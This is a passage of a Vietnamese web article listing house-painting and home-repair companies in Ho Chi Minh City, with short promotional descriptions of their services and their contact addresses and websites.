  8. Thi công sơn nước mọi hình thức và quy mô (mới cũ, lớn nhỏ)
  9. Thi công điện nước: bảo trì, sửa chữa, đi mới
  10. Dịch vụ vệ sinh: Vệ sinh nhà cửa, vệ sinh công trình thi công
  11. Dịch vụ sửa chữa nhà cửa
  12. Hoàn thiện công trình xây dựng

Mọi chi tiết xin liên hệ:

Địa chỉ: 1422/61A Huỳnh Tấn Phát,P Phú Mỹ, Quận 7, TP HCM

Email: Hoanggiaphcm@gmail.com

Website: dichvusonnhagiare.com

Công ty sơn nhà Huy Hoàng

Với đội ngũ thợ sơn nước được đào tạo bài bản cùng với những màu sơn được phối màu chuẩn. Huy Hoàng luôn mang đến cho khách hàng của mình dịch vụ sơn nước, sơn nhà tốt nhất. Đặc biệt tính thẩm mỹ và chất lượng màu sơn được Công ty đặt lên hàng đầu.

Do đó, sự hài lòng của quý khách hàng là động lực để đội thợ sơn nhà của Huy Hoàng cố gắng hơn nữa nhằm hoàn thiện và đưa tới cho khách hàng của mình những căn nhà đẹp hoàn hảo, những bức tường đầy màu sắc và những dịch vụ trên cả sự mong đợi.

Dịch vụ sơn nhà chuyên nghiệp – thi công sơn nhà nhanh, uy tín là một trong những lợi thế mà công ty có được. Đó là nỗ lực của toàn thể đội sơn với kinh nghiệm hơn 10 năm và sự hợp tác nhiệt tình của gia chủ ở mỗi công trình công ty đã thực hiện.

Mọi chi tiết xin liên hệ:

Địa chỉ: 177 Cống Lỡ, Phường 15, Tân Bình, TP.Hồ Chí Minh
Website: https://suachuanhahuyhoang.com/

Công ty sửa chữa giá rẻ TP.HCM

Với đội ngũ nhân viên có nhiều năm kinh nghiệm, trong lĩnh vực sơn nhà, đội thợ năng động, nhiệt tình, dịch vụ sơn nhà của Công ty sửa chữa giá rẻ TP.HCM đã chiếm trọn niềm tin của nhiều khách hàng. Công ty luôn tự hào vì mang đến cho khách hàng một dịch vụ sơn nhà tốt nhất. Hoàn hảo nhất cả về chất lượng công trình và chất lượng dịch vụ tại TP. Hồ Chí Minh.

Công ty có đội ngũ cán bộ kỹ thuật, giám sát: các kỹ sư có chuyên môn cao, có tính trách nhiệm và sáng tạo. Đội ngũ nhân viên, công nhân kỹ thuật chuyên nghiệp, siêng năng, đam mê với nghề.

Và sở hữu những tính thẩm mỹ rất cao trong ngành sơn. Áp dụng máy móc thiết bị và các công nghệ mới nhất vào thi công nhằm đạt hiệu quả tốt nhất, mang đậm tính nghệ thuật cho bạn. Sử dụng vật tư (bột bả matit, sơn nước, sơn dầu, sơn epoxy,..) có chất lượng tốt nhất.

Thi công chuyên nghiệp, nhanh chóng, đảm bảo vệ sinh và an toàn lao động. Cam kết bảo hành và có trách nhiệm với sản phẩm đã thi công. Chắc chắn sẽ khiến bạn hài lòng. Với kinh nghiệm hàng chục năm trong lĩnh vực sơn sửa nhà, công ty cam kết mang đến khách hàng công trình chất lượng nhất.

Mọi chi tiết xin liên hệ:

Địa chỉ: 47/94/1 Trường Lưu, Long Trường, Quận 9
Website: http://sonsuachuanha.com

Nếu còn thắc mắc vấn đề gì trong bài viết trên, vui lòng để lại phản hồi bên dưới. Đội ngũ sonnhagiaphat.com sẽ tích cực trả lời những phản hồi của các bạn. Chúc các bạn thành công.

5/5 (1 Review)

Leave a Reply

Your email address will not be published.

error: Alert: Content selection is disabled!!